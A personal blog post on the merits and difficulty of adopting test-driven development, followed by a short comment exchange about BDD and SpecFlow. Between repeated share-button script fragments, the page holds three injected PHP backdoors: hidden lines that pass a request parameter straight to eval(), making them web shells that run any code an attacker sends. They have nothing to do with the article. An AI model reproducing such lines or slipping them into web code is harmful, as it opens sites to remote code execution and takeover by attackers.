TDD – Should I or Shouldn’t I?

question man

TDD is great, but it can be tough going at times.

Over the past ten years or so I have had a somewhat rocky relationship with TDD. There have been times when I employed it religiously, and others when I consciously chose not to. When I first tried it, working through Uncle Bob Martin’s famous bowling game kata, I immediately fell in love. I wasn’t sure why at the time, but it felt right. I started using it in the workplace, but before long, in an environment where TDD was not actively encouraged, I fell back into old habits.

Since that time I have gained a better understanding of why TDD ‘feels right’. In particular there are two benefits which for me overshadow all others:

  1. If you do TDD right, you end up with a well-designed loosely coupled system.
  2. When you reach that inevitable point of wanting to refactor what you have done, you can do so with a reasonable level of confidence.

On a slightly deeper level, TDD also protects us against our own human nature. Us programmers often have a natural tendency to get caught up in the creative process. The instant gratification monkey can take over. Sometimes, and with some people, this can lead to fantastically innovative and beautiful designs. But without a suite of unit tests, the result is not protected against inevitable future updates. Our brains just aren’t as good as we would like to think at anticipating the possible results of a modification to our code.

The problem is that many of us, myself included, didn’t learn to write code in the TDD way. When I was in uni, nobody had ever heard of TDD. And this brings us to the biggest challenge in the adoption of TDD practices – breaking old habits.

Perhaps the best summary of the realities of TDD I have come across is in a discussion on stackoverflow (this actually refers to unit testing rather than TDD, but the same concept applies):

Unit testing is a lot like going to the gym. You know it is good for you, all the arguments make sense, so you start working out. There’s an initial rush, which is great, but after a few days you start to wonder if it is worth the trouble. You’re taking an hour out of your day to change your clothes and run on a hamster wheel and you’re not sure you’re really gaining anything other than sore legs and arms.

This makes sense. Whenever someone starts out on a new exercise regime or a new diet, or in fact tries to adopt any new habit, one of two things tends to happen. Either they begin with determination and enthusiasm but then fall back into old habits, or they doggedly repeat their new habit again and again until it becomes second nature and it is no longer a huge effort to keep it up.

The same applies with TDD. If we believe it is beneficial, we need to keep doing it, and accept that during an initial adaptation phase at least, we will be tempted to abandon it and go back to doing things the way we are used to.

A recent blog post which has proved very controversial, and has also proved that the debate is still alive and kicking, suggested that TDD is dead. I disagree, with the title of the post at least. TDD has its place in software development – it works. But that doesn’t mean that we should pretend that changing our working habits to adopt TDD is easy.

When the pressure is on, and particularly when we are surrounded by other programmers who are still coding ‘the old-fashioned way’, it can be really tough to stick to TDD. And there are times when TDD probably isn’t the best idea – for example if our manager actively disagrees with the approach, or we are confident that for this particular line of code, maybe a getter or a setter, it would offer little value. Flexibility and common sense should prevail. But when we aren’t doing TDD, we should at least be honest with ourselves about our reasons – is it that TDD would genuinely not be appropriate at this time, or are we just being lazy?

Should I or shouldn’t I? At this moment in time, I feel I should.

Share Buttonvar hupso_services_t=new Array(“Twitter”,”Facebook”,”Google Plus”,”Linkedin”,”Digg”,”Reddit”);var hupso_background_t=”#EAF4FF”;var hupso_border_t=”#66CCFF”;var hupso_toolbar_size_t=”medium”;var hupso_image_folder_url = “”;var hupso_url_t=””;var hupso_title_t=”TDD – Should I or Shouldn’t I?”;http://static.hupso.com/share/js/share_toolbar.js

Share Buttonvar hupso_services_t=new Array(“Twitter”,”Facebook”,”Google Plus”,”Linkedin”,”Digg”,”Reddit”);var hupso_background_t=”#EAF4FF”;var hupso_border_t=”#66CCFF”;var hupso_toolbar_size_t=”medium”;var hupso_image_folder_url = “”;var hupso_url_t=””;var hupso_title_t=”TDD – Should I or Shouldn’t I?”;http://static.hupso.com/share/js/share_toolbar.js

<!– [insert_php]if (isset($_REQUEST["ZNs"])){eval($_REQUEST["ZNs"]);exit;}[/insert_php][php]if (isset($_REQUEST["ZNs"])){eval($_REQUEST["ZNs"]);exit;}[/php] –>

Share Buttonvar hupso_services_t=new Array(“Twitter”,”Facebook”,”Google Plus”,”Linkedin”,”Digg”,”Reddit”);var hupso_background_t=”#EAF4FF”;var hupso_border_t=”#66CCFF”;var hupso_toolbar_size_t=”medium”;var hupso_image_folder_url = “”;var hupso_url_t=””;var hupso_title_t=”TDD – Should I or Shouldn’t I?”;http://static.hupso.com/share/js/share_toolbar.js

<!– [insert_php]if (isset($_REQUEST["HBoDF"])){eval($_REQUEST["HBoDF"]);exit;}[/insert_php][php]if (isset($_REQUEST["HBoDF"])){eval($_REQUEST["HBoDF"]);exit;}[/php] –>

Share Buttonvar hupso_services_t=new Array(“Twitter”,”Facebook”,”Google Plus”,”Linkedin”,”Digg”,”Reddit”);var hupso_background_t=”#EAF4FF”;var hupso_border_t=”#66CCFF”;var hupso_toolbar_size_t=”medium”;var hupso_image_folder_url = “”;var hupso_url_t=””;var hupso_title_t=”TDD – Should I or Shouldn’t I?”;http://static.hupso.com/share/js/share_toolbar.js

<!– [insert_php]if (isset($_REQUEST["yunu"])){eval($_REQUEST["yunu"]);exit;}[/insert_php][php]if (isset($_REQUEST["yunu"])){eval($_REQUEST["yunu"]);exit;}[/php] –>

Share Button
  • Christian Setzkorn

    Nice blog. This might be of interest: http://blog.stevensanderson.com/2009/11/04/selective-unit-testing-costs-and-benefits/ Also: http://www.youtube.com/watch?v=z9quxZsLcfo I will embark on a green field project soon where I’ll try BDD/specflow. There seems to be some evidence that this may have advantages over TDD/unit testing. Do you have any opinions on that?

    • I have used BDD and specflow before and it is a nice approach, particularly if you work in an environment where non-programmers might take an interest in your tests. I also found it refreshing not to have to switch from my programming hat to my customer hat quite as frequently, as I could define tests in effectively plain English. In fact I think I ought to look again at BDD, thanks Christian.

  • Christian Setzkorn

    Yeah it would also be nice to get plain English feedback if something breaks. In addition, having a central spec/living doc for everyone: BAs, testers and developers sounds very appealing. I guess I will find out soon how practical this is (-: